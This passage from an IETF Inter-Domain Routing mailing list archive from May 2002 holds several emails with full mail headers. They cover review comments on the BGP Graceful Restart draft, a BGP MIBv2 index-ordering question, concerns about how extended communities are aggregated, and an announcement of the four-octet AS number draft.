call on Graceful Restart Message-ID: <20020503131945.I27013@nexthop.com> References: <123123379741.20020502201852@psg.com> <200205031546.g43FkiT81065@merlot.juniper.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200205031546.g43FkiT81065@merlot.juniper.net>; from yakov@juniper.net on Fri, May 03, 2002 at 08:46:44AM -0700 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk This reminds me of another point: Despite us using capabilities to advertise this, we can do graceful restart without using any multi-protocol extensions at all. Thus, EOR could be signalled by the empty MP_UNREACH_NLRI for ipv4/unicast or the empty UPDATE. The MP case makes sense when you advertise the ipv4/unicast mp capability. It might be worth mentioning that when the ipv4/unicast mp capability is advertised, the two EOR cases above are equivalent. On Fri, May 03, 2002 at 08:46:44AM -0700, Yakov Rekhter wrote: > > > The advertisement of this capability by a BGP speaker also implies > > > that it will generate the End-of-RIB marker (for all address families > > > exchanged) upon completion of its initial routing update to its peer. > > > The value of the "Restart Time" field is irrelevant in the case that > > > the capability does not carry any . > > > > Do we need some more info here? I.e., what does it really mean > > when I receive this capability with no AFI/SAFI in it? > > How about if we'll replace the last sentence in the above with > the following: > > When a sender of this capability doesn't include any Sub-AFI> in the capability, it means that the sender is not > capable of preserving its forwarding state during BGP restart, > but is going to generate the End-of-RIB marker upon the completion > of its initial routing updates. The value of the "Restart Time" > field is irrelevant in that case. But in this case, are we now requiring the speaker support mp ipv4/unicast in order to use graceful restart? -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA19961 for ; Fri, 3 May 2002 13:08:41 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 2C24A91300; Fri, 3 May 2002 13:07:55 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id F3B3091301; Fri, 3 May 2002 13:07:54 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E5F8E91300 for ; Fri, 3 May 2002 13:07:53 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A28C55DDAF; Fri, 3 May 2002 13:07:53 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 49EF75DD9C for ; Fri, 3 May 2002 13:07:53 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g43H7mk98271 for idr@merit.edu; Fri, 3 May 2002 13:07:48 -0400 (EDT) (envelope-from swright@nexthop.com) Received: from nexthop.com (triscuit.nexthop.com [64.211.218.61]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g43H7eO98240 for ; Fri, 3 May 2002 13:07:40 -0400 (EDT) (envelope-from swright@nexthop.com) Received: (from swright@localhost) by nexthop.com (8.11.0/8.11.0) id g43H7eJ02683 for idr@merit.edu; Fri, 3 May 2002 13:07:40 -0400 (EDT) Date: Fri, 3 May 2002 13:07:40 -0400 From: Shane Wright To: idr@merit.edu Subject: Re: Last call on Graceful Restart Message-ID: <20020503130740.O8390@nexthop.com> References: <5.0.0.25.0.20020419110334.034629c0@mail.nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <5.0.0.25.0.20020419110334.034629c0@mail.nexthop.com>; from skh@nexthop.com on Fri, Apr 19, 2002 at 11:17:05AM -0400 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Greetings, Here's some comments I have on Graceful Restart: The usefulness of sending the End-of-RIB marker without the ability to gracefully restart is mentioned, but not really elaborated. Maybe a "this is outside the scope of this document" comment could be added? The last paragraph of section 5 states: The advertisement of this capability by a BGP speaker also implies that it will generate the End-of-RIB marker (for all address families exchanged) upon completion of its initial routing update to its peer. By "all address families exchanged", do we mean "all address families advertised in the multiprotocol capability (and ipv4 unicast)"? Otherwise, it seems to imply address families exchanged in the capability. I agree with Yakov's proposed text to clarify the absence of an AFI/SAFI in the capability. Minor nitpick: "Sub-AFI" is used throughout the document rather than "SAFI", which is used in many other BGP documents. - Shane Wright Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA19844 for ; Fri, 3 May 2002 13:04:06 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 590E8912FF; Fri, 3 May 2002 13:01:48 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 205D391300; Fri, 3 May 2002 13:01:48 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D10D8912FF for ; Fri, 3 May 2002 13:01:45 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 95C145DDDB; Fri, 3 May 2002 13:01:45 -0400 (EDT) Delivered-To: idr@merit.edu Received: from psg.com (psg.com [147.28.0.62]) by segue.merit.edu (Postfix) with ESMTP id 0A0615DD9C for ; Fri, 3 May 2002 13:01:45 -0400 (EDT) Received: from 12-234-73-224.client.attbi.com ([12.234.73.224]) by psg.com with esmtp (Exim 3.36 #1) id 173gRE-0005zU-00; Fri, 03 May 2002 10:01:44 -0700 Date: Fri, 3 May 2002 10:01:04 -0700 From: Alex Zinin X-Mailer: The Bat! (v1.51) Personal Reply-To: Alex Zinin X-Priority: 3 (Normal) Message-ID: <1573443852.20020503100104@psg.com> To: Yakov Rekhter Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: <200205031546.g43FkiT81065@merlot.juniper.net> References: <200205031546.g43FkiT81065@merlot.juniper.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Yakov, Thanks for the answers, see inline below, please. >> Meta-comments: >> >> - Can the restart capability be dynamically updated? missed an answer here :) >> - How does this doc address the situation where the admin wants >> the graceful restart to happen for planned restarts >> (during SW upgrades, etc.) but not for unplanned ones? > This is an implementation issue. I'm not sure I agree here. The Receiving Speakers cannot tell the difference between a planned and an unplanned tear down of the transport connection. One way of making sure unplanned restart is not hitless is (I think) to announce restart capability with no AFI/SAFI to the neighbors initially and update it when the admin requests the restart. Hence my first question above. I think this topic is quite important and there should be some info in the doc on this. >> > An UPDATE message with empty withdrawn NLRI is specified as the End- >> > Of-RIB Marker that can be used by a BGP speaker to indicate to its >> > peer the completion of the initial routing update after the session >> > is established. For IPv4 unicast address family, the End-Of-RIB >> > Marker is an UPDATE message with the minimum length [BGP-4]. >> >> I guess this implicitly means that no reachable NLRIs and attributes >> should be in it. Why not say this explicitly? > To avoid redundant text. OK, I found reading the first sentence a little bit unclear, because that sentence did not say anything about reachable NLRI. Let me suggest wording that I think would help: An UPDATE message with empty withdrawn NLRI is specified as the End- ^ "no reachable NLRI and " Of-RIB Marker that can be used by a BGP speaker to indicate to its peer the completion of the initial routing update after the session is established. For IPv4 unicast address family, the End-Of-RIB Marker is an UPDATE message with the minimum length [BGP-4]. >> Does it mean we need to send a separate message per AFI/SAFI? > Yes, as "The same attribute cannot appear more than once within the Path > Attributes field of a particular UPDATE message." (BGP-4 spec). ...and MP_REACH can encode one AFI/SAFI only. Make sense. >> > +--------------------------------------------------+ >> > | Restart Flags (4 bits) | >> > +--------------------------------------------------+ >> > | Restart Time in seconds (12 bits) | >> > +--------------------------------------------------+ >> >> I think that given the bit level break-up you should show >> the header in the normal IETF format. > What makes you think that the format used in the document is not > a "normal IETF format" ? :-) Sorry, I didn't mean to say it was "not normal" ;) I guess what I'm looking for is something like this: 0 1 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Flags | Restart Time | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ >> >> > | Address Family Identifier (16 bits) | >> > +--------------------------------------------------+ >> > | Subsequent Address Family Identifier (8 bits) | >> > +--------------------------------------------------+ >> > | Flags for Address Family (8 bits) | >> > +--------------------------------------------------+ >> > | ... | >> > +--------------------------------------------------+ >> > | Address Family Identifier (16 bits) | >> > +--------------------------------------------------+ >> > | Subsequent Address Family Identifier (8 bits) | >> > +--------------------------------------------------+ >> > | Flags for Address Family (8 bits) | >> > +--------------------------------------------------+ And maybe something like this here: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Address Family ID | SAFI ID | AF Flags | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ >> > The remaining bits are reserved. >> >> ...and this text should correspond to the illustration of the header >> above > We'll add a figure to illustrate the format of the Restart Flags field. Thanks! >> should the reserved bits be set to 0? > yes, set to 0, ignored when received. We'll add this to the text. Thanks! >> Do we need some more info here? I.e., what does it really mean >> when I receive this capability with no AFI/SAFI in it? > How about if we'll replace the last sentence in the above with > the following: > When a sender of this capability doesn't include any Sub-AFI> in the capability, it means that the sender is not > capable of preserving its forwarding state during BGP restart, > but is going to generate the End-of-RIB marker upon the completion > of its initial routing updates. The value of the "Restart Time" > field is irrelevant in that case. Perfect! Exactly what I'm looking for. >> > restart. In case it does not detect the TCP reset and still >> > considers the BGP session as being established, it shall treat the >> > subsequent open connection from the peer as an indication of TCP >> > reset and act accordingly (when the Graceful Restart Capabilty has >> > been received from the peer). >> >> How does this work together with the connection collision mechanism? > what do you think is the problem here ? Here's what we have in 6.8 of the BGP spec: Unless allowed via configuration, a connection collision with an existing BGP connection that is in Established state causes closing of the newly created connection. >> > Once the session is re-established, if the "Forwarding State" bit for >> > an address family is not set in the received Graceful Restart >> > Capability, or if the capability is not received for an address >> > family, the Receiving Speaker shall immediately remove all the stale >> > routes from the peer that it is retaining for that address family. >> >> Does the phrase "is not received" mean "not confirmed by the new capability >> announcement"? > the phrase "is not received" means exactly what it said - not received. I guess my question is whether you mean not received from the session that we had before the restart or the one established after it. >> I don't think the procedure for "unmarking" routes as stale has >> been described here. > there is no "unmarking" of stale routes. A stale route is either > (a) replaced by the routing update received from the peer, or (b) > deleted once the End-of-RIB marker is received. My bad. Sorry. Alex Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA17573 for ; Fri, 3 May 2002 11:52:04 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6AC5591211; Fri, 3 May 2002 11:48:28 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 75C39912FC; Fri, 3 May 2002 11:48:24 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id DFE1E912F9 for ; Fri, 3 May 2002 11:47:33 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A32CB5DDA3; Fri, 3 May 2002 11:47:33 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 4D0055DD96 for ; Fri, 3 May 2002 11:47:33 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g43FlKU93976; Fri, 3 May 2002 11:47:20 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g43FlHO93969; Fri, 3 May 2002 11:47:17 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g43FlCa27645; Fri, 3 May 2002 11:47:12 -0400 (EDT) Date: Fri, 3 May 2002 11:47:12 -0400 From: Jeffrey Haas To: Susan Hares Cc: Ken Benstead , idr@merit.edu Subject: Re: BGP-4 MIBv2 NLRI Table Message-ID: <20020503114712.C27013@nexthop.com> References: <5.0.0.25.0.20020502191734.05fadda0@mail.nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <5.0.0.25.0.20020502191734.05fadda0@mail.nexthop.com>; from skh@nexthop.com on Thu, May 02, 2002 at 07:17:50PM -0400 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Sorry for not responding to this earlier. Ken, This will be fixed in the next version of the MIB. On Thu, May 02, 2002 at 07:17:50PM -0400, Susan Hares wrote: > Ken: > > Why do you expect the Prefix before the prefix length? > > sue > > At 01:29 PM 4/22/2002 -0400, Ken Benstead wrote: > >Hi Folks, > >I noticed that the NLRI Table in the BGP4 MIBv2 (draft 2) has the > >following index clause: > > > > INDEX { > > bgpM2PeerIndex, > > bgpM2NlriAfi, > > bgpM2NlriSafi, > > bgpM2NlriPrefixLen, > > bgpM2NlriPrefix, > > bgpM2NlriIndex > > } > > > >Is there a reason that the bgpM2NlriPrefixLen and bgpM2NlriPrefix > >objects are the opposite order to what one might normally expect? > >For example, in the BGP-4 Received Path Attribute Table of > >RFC1657 the index clause is: > > > > > > INDEX { > > bgp4PathAttrIpAddrPrefix, > > bgp4PathAttrIpAddrPrefixLen, > > bgp4PathAttrPeer > > } > > > >Thanks, > >Ken Benstead > > > -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA17552 for ; Fri, 3 May 2002 11:51:38 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6B47C91213; Fri, 3 May 2002 11:48:21 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 30A4F91211; Fri, 3 May 2002 11:48:01 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5A03C91213 for ; Fri, 3 May 2002 11:46:46 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 1C5AC5DD96; Fri, 3 May 2002 11:46:46 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 9D6D15DDA3 for ; Fri, 3 May 2002 11:46:45 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43FkiT81065; Fri, 3 May 2002 08:46:44 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031546.g43FkiT81065@merlot.juniper.net> To: Alex Zinin Cc: idr@merit.edu Subject: Re: Last call on Graceful Restart In-Reply-To: Your message of "Thu, 02 May 2002 20:18:52 PDT." <123123379741.20020502201852@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <74308.1020440804.1@juniper.net> Date: Fri, 03 May 2002 08:46:44 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Alex, > Please find some comments on the restart draft below. > Regards. > > -- > Alex > > Meta-comments: > > - Can the restart capability be dynamically updated? > > - How does this doc address the situation where the admin wants > the graceful restart to happen for planned restarts > (during SW upgrades, etc.) but not for unplanned ones? This is an implementation issue. > > Graceful Restart Mechanism for BGP > > > > draft-ietf-idr-restart-03.txt > ... > > 4. Marker for End-of-RIB > > > > An UPDATE message with empty withdrawn NLRI is specified as the End- > > Of-RIB Marker that can be used by a BGP speaker to indicate to its > > peer the completion of the initial routing update after the session > > is established. For IPv4 unicast address family, the End-Of-RIB > > Marker is an UPDATE message with the minimum length [BGP-4]. > > I guess this implicitly means that no reachable NLRIs and attributes > should be in it. Why not say this explicitly? To avoid redundant text. > > For any > > other address family, it is an UPDATE message that contains only > > MP_UNREACH_NLRI [BGP-MP] with no withdrawn routes for that > AFI>. > > Does it mean we need to send a separate message per AFI/SAFI? Yes, as "The same attribute cannot appear more than once within the Path Attributes field of a particular UPDATE message." (BGP-4 spec). > > 5. Graceful Restart Capability > > > > The Graceful Restart Capability is a new BGP capability [BGP-CAP] > > that can be used by a BGP speaker to indicate its ability to preserve > > its forwarding state during BGP restart. It can also be used to > > convey to its peer its intention of generating the End-Of-RIB marker > > upon the completion of its initial routing updates. > > > > This capability is defined as follows: > > > > Capability code: 64 > > > > Capability length: variable > > > > Capability value: Consists of the "Restart Flags" field, > > "Restart Time" field, and zero or more of the tuples > Sub-AFI, Flags for address family> as follows. > > > > > > +--------------------------------------------------+ > > | Restart Flags (4 bits) | > > +--------------------------------------------------+ > > | Restart Time in seconds (12 bits) | > > +--------------------------------------------------+ > > I think that given the bit level break-up you should show > the header in the normal IETF format. What makes you think that the format used in the document is not a "normal IETF format" ? :-) > > > | Address Family Identifier (16 bits) | > > +--------------------------------------------------+ > > | Subsequent Address Family Identifier (8 bits) | > > +--------------------------------------------------+ > > | Flags for Address Family (8 bits) | > > +--------------------------------------------------+ > > | ... | > > +--------------------------------------------------+ > > | Address Family Identifier (16 bits) | > > +--------------------------------------------------+ > > | Subsequent Address Family Identifier (8 bits) | > > +--------------------------------------------------+ > > | Flags for Address Family (8 bits) | > > +--------------------------------------------------+ > > > > > > The use and meaning of the fields are as follows: > > > > Restart Flags: > > > > This field contains bit flags related to restart. > > > > The most significant bit is defined as the Restart State bit > > which can be used to avoid possible deadlock caused by waiting > > > > > > > draft-ietf-idr-restart-03.txt [Page 3] > > > > > > > > > > > > Internet Draft draft-ietf-idr-restart-03.txt April 2002 > > > > > > for the End-of-RIB marker when multiple BGP speakers peering > > with each other restart. When set (value 1), this bit indicates > > that the BGP speaker has restarted, and its peer should not wait > > for the End-of-RIB marker from the speaker before advertising > > routing information to the speaker. > > > > The remaining bits are reserved. > > ...and this text should correspond to the illustration of the header > above We'll add a figure to illustrate the format of the Restart Flags field. > should the reserved bits be set to 0? yes, set to 0, ignored when received. We'll add this to the text. > > Restart Time: > > > > This is the estimated time (in seconds) it will take for the BGP > > session to be re-established after a restart. This can be used to > > speed up routing convergence by its peer in case that the BGP > > speaker does not come back after a restart. > > > > Address Family Identifier (AFI): > > > > This field carries the identity of the Network Layer protocol > > for which the Graceful Restart support is advertised. Presently > > defined values for this field are specified in RFC1700 (see > > the Address Family Numbers section). > > > > Subsequent Address Family Identifier (Sub-AFI): > > > > This field provides additional information about the type of > > the Network Layer Reachability Information carried in the > > attribute. > > > > Flags for Address Family: > > > > This field contains bit flags for the . > > > > The most significant bit is defined as the Forwarding State > > bit which can be used to indicate if the forwarding state for > > the has indeed been preserved during the previous > > BGP restart. When set (value 1), the bit indicates that the > > forwarding state has been preserved. > > > > The remaining bits are reserved. > > Let's have a format illustration for this field as well. > It will help when/if new bits are introduced. ok. > same comment about "reserved" ok. > > The advertisement of this capability by a BGP speaker also implies > > that it will generate the End-of-RIB marker (for all address families > > exchanged) upon completion of its initial routing update to its peer. > > The value of the "Restart Time" field is irrelevant in the case that > > the capability does not carry any . > > Do we need some more info here? I.e., what does it really mean > when I receive this capability with no AFI/SAFI in it? How about if we'll replace the last sentence in the above with the following: When a sender of this capability doesn't include any in the capability, it means that the sender is not capable of preserving its forwarding state during BGP restart, but is going to generate the End-of-RIB marker upon the completion of its initial routing updates. The value of the "Restart Time" field is irrelevant in that case. > > 6. Operation > > > > A BGP speaker may advertise the Graceful Restart Capability for an > > address family to its peer only if it has the ability to preserve its > > forwarding state for the address family when BGP restarts. > > > > Even if the speaker does not have the ability to preserve its > > forwarding state for any address family during BGP restart, it is > > still recommended that the speaker advertise the Graceful Restart > > Capability to its peer to indicate its intention of generating the > > End-of-RIB marker upon the completion of its initial routing updates. > > Ah, I think this is the answer to my prev. question. The text above > should have some info nonetheless, IMO. see my previous comment. > > The End-of-RIB marker should be sent by a BGP speaker to its peer > > once it completes the initial routing update (including the case when > > there is no update to send) for an address family after the BGP > > session is established. > > > > It is noted that the normal BGP procedures MUST be followed when the > > TCP session terminates due to the sending or receiving of a BGP > > NOTIFICATION message. > > > > In general the Restart Time SHOULD NOT be greater than the HOLDTIME > > carried in the OPEN. > > > > In the following sections, "Restarting Speaker" refers to a router > > whose BGP has restarted, and "Receiving Speaker" refers to a router > > that peers with the restarting speaker. > > > > Consider that the Graceful Restart Capability for an address family > > is advertised by the Restarting Speaker, and is understood by the > > Receiving Speaker, and a BGP session between them is established. > > The following sections detail the procedures that shall be followed > > by the Restarting Speaker as well as the Receiving Speaker once the > > Restarting Speaker restarts. > > > ... > > > > > > 6.2. Procedures for the Receiving Speaker > > > > When the Restarting Speaker restarts, the Receiving Speaker may or > > may not detect the termination of the TCP session with the Restarting > > Speaker, depending on the underlying TCP implementation, whether or > > not [BGP-AUTH] is in use, and the specific circumstances of the > > restart. In case it does not detect the TCP reset and still > > considers the BGP session as being established, it shall treat the > > subsequent open connection from the peer as an indication of TCP > > reset and act accordingly (when the Graceful Restart Capabilty has > > been received from the peer). > > How does this work together with the connection collision mechanism? what do you think is the problem here ? > > When the Receiving Speaker detects TCP reset for a BGP session with a > > peer that has advertised the Graceful Restart Capability, it shall > > retain the routes received from the peer for all the address families > > that were previously received in the Graceful Restart Capability, and > > shall mark them as stale routing information. To deal with possible > > consecutive restarts, a route (from the peer) previously marked as > > stale shall be deleted. The router should not differentiate between > > stale and other routing information during forwarding. > > > > In re-establishing the session, the "Restart State" bit in the > > Graceful Restart Capability of the OPEN message sent by the Receiving > > Speaker shall not be set unless the Receiving Speaker has restarted. > > The presence and the setting of the "Forwarding State" bit for an > > address family depends upon the actual forwarding state and > > configuration. > > > > If the session does not get re-established within the "Restart Time" > that the peer advertised previously, the Receiving Speaker shall > > delete all the stale routes from the peer that it is retaining. > > > > Once the session is re-established, if the "Forwarding State" bit for > > an address family is not set in the received Graceful Restart > > Capability, or if the capability is not received for an address > > family, the Receiving Speaker shall immediately remove all the stale > > routes from the peer that it is retaining for that address family. > > Does the phrase "is not received" mean "not confirmed by the new capability > announcement"? the phrase "is not received" means exactly what it said - not received. > > The Receiving Speaker shall send the End-of-RIB marker once it > > completes the initial update for an address family (including the > > case that it has no routes to send) to the peer. > > > > The Receiving Speaker shall replace the stale routes by the routing > > updates received from the peer. Once the End-of-RIB marker for an > > address family is received from the peer, it shall immediately remove > > any routes from the peer that are still marked as stale for that > > address family. > > I don't think the procedure for "unmarking" routes as stale has > been described here. there is no "unmarking" of stale routes. A stale route is either (a) replaced by the routing update received from the peer, or (b) deleted once the End-of-RIB marker is received. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA15645 for ; Fri, 3 May 2002 10:38:18 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1C2BA912F5; Fri, 3 May 2002 10:37:48 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id DBB65912F7; Fri, 3 May 2002 10:37:47 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D7FE4912F5 for ; Fri, 3 May 2002 10:37:46 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A698E5DE17; Fri, 3 May 2002 10:37:46 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 4FF055DDA3 for ; Fri, 3 May 2002 10:37:46 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g43Ebf890472 for idr@merit.edu; Fri, 3 May 2002 10:37:41 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g43EbcO90464 for ; Fri, 3 May 2002 10:37:38 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g43Ebbh27170 for idr@merit.edu; Fri, 3 May 2002 10:37:37 -0400 (EDT) Date: Fri, 3 May 2002 10:37:37 -0400 From: Jeffrey Haas To: idr@merit.edu Subject: Last Call concerns (again): Extended Communities Message-ID: <20020503103737.B27013@nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk I've been asked to bring these concerns to the list again one last time. If no one else has the conerns, I'm happy to yield on the issue. The base BGP communities specification deals with aggregation by saying: : Aggregation : : If a range of routes is to be aggregated and the resultant aggregates : attribute section does not carry the ATOMIC_AGGREGATE attribute, then : the resulting aggregate should have a COMMUNITIES path attribute : which contains all communities from all of the aggregated routes. As we all know, ATOMIC_AGGREGATE isn't well defined enough to actually do enough useful things, and isn't implemented by most of the major distributions. As a result, BGP communities simply end up aggregated as a union of the elements in the community sets. (This is another gripe with the base spec - communities are treated as a set and thus no duplicates are needed, and implementations seem to prune duplicates, but this isn't spelled out anywhere.) The problem with synthesizing aggregates is that if aggregate component R1 has some communities C1, and we have an R2, C2 that is another contributing component, the resulting aggregate A1 will have the union of C1 and C2. Some elements of C1 or C2 may not be applicable towards the various components of A1. Taking the intersection would have been saner IMO. One example that immediately comes to mind is if C1 has NO_EXPORT and C2 has NO_ADVERTISE, then A1 will have NO_EXPORT and NO_ADVERTISE. If the contributing components are not propagated (where the communities permit them) within the same AS, A1 will not be advertised to any other routers whereas the component covered by R1,C1 should have been. One might argue that this is a feature and this argues that communites should be stripped or otherwise manipulated prior to insertion into an aggregate. The extended communities specification introduces similar special communities with special properties. In particular, Route Origin is used by PPVPN's 2547-bis to prevent the route from being re-advertised to a site. From the current 2547-bis spec: : 8. How CEs learn Routes from PEs : : back to the CE.) We add one more restriction on the distribution of : routes from PE to CE: if a route's Site of Origin attribute : identifies a particular site, that route must never be redistributed : to any CE at that site. This property is never documented in the base specification. At the very least, it should be mentioned that in the context of 2547 that this community will have special semantics. It would also be nice for operators for the aggregation issues to be explicitly documented. Similarly, the Link Bandwidth extended community has special semantics - namely: : When a router receives a route from a directly connected external : neighbor (the external neighbor that is one IP hop away), and : advertises this route (via IBGP) to internal neighbors, as part of : this advertisement the router may carry the bandwidth of the link : that connects the router with the external neighbor. The bandwidth of : such a link is carried in the Link Bandwidth Community. The community I don't believe this attribute should be aggregatable. Lastly, the extended communities document should have a section similar to the aggregation section of the base communities document. -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA14711 for ; Fri, 3 May 2002 10:04:27 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id C4DEA912F4; Fri, 3 May 2002 10:03:53 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 8E527912F5; Fri, 3 May 2002 10:03:53 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 29251912F4 for ; Fri, 3 May 2002 10:03:52 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E4EEC5DE15; Fri, 3 May 2002 10:03:51 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 581E25DDA3 for ; Fri, 3 May 2002 10:03:51 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g43E3pT76982 for ; Fri, 3 May 2002 07:03:51 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205031403.g43E3pT76982@merlot.juniper.net> To: idr@merit.edu Subject: draft-ietf-idr-as4bytes-05.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <52920.1020434631.1@juniper.net> Date: Fri, 03 May 2002 07:03:51 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Folks, The only changes are (a) version number increment, (b) updates dates. Yakov. ------- Forwarded Message Date: Fri, 03 May 2002 07:28:33 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; cc: idr@merit.edu Subject: I-D ACTION:draft-ietf-idr-as4bytes-05.txt - --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF . Title : BGP support for four-octet AS number space Author(s) : Q. Vohra, E. Chen Filename : draft-ietf-idr-as4bytes-05.txt Pages : 7 Date : 02-May-02 Currently the Autonomous System number is encoded in BGP [BGP] as a two-octets field. This document describes extensions to BGP to carry the Autonomous System number as a four-octets field. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-as4bytes-05.txt To remove yourself from the IETF Announcement 